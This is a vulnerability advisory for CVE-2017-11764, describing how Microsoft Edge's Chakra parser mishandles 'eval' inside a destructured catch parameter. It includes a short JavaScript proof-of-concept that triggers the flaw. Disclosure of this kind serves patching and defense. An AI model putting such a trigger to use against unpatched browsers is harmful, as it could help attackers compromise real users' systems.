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Microsoft Edge Chakra Parser::ParseCatch Failed eval Handle

Posted on 24 September 2017

Microsoft Edge: Chakra: Parser::ParseCatch doesn't handle "eval"

CVE-2017-11764

In Javascript, the code executed by a direct call to eval shares the caller block's scopes. Chakra handles this from the parser. And there's a bug when it parses "eval" in a catch statement's param.

ParseNodePtr Parser::ParseCatch()
{
...
pnodeCatchScope = StartParseBlock<buildAST>(PnodeBlockType::Regular, isPattern ? ScopeType_CatchParamPattern : ScopeType_Catch);
...
ParseNodePtr pnodePattern = ParseDestructuredLiteral<buildAST>(tkLET, true /*isDecl*/, true /*topLevel*/, DIC_ForceErrorOnInitializer);
...
}

1. "pnodeCatchScope" is a temporary block used to create a scope, and it is not actually inserted into the AST.
2. If the parser meets "eval" in "ParseDestructuredLiteral", it calls "pnodeCatchScope->SetCallsEval".
3. But "pnodeCatchScope" is not inserted into the AST. So the bytecode generator doesn't know it calls "eval", and it can't create scopes properly.

PoC:
function f() {
{
let i;
function g() {
i;
}

try {
throw 1;
} catch ({e = eval('dd')}) {
}
}
}

f();

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Found by: lokihardt

 

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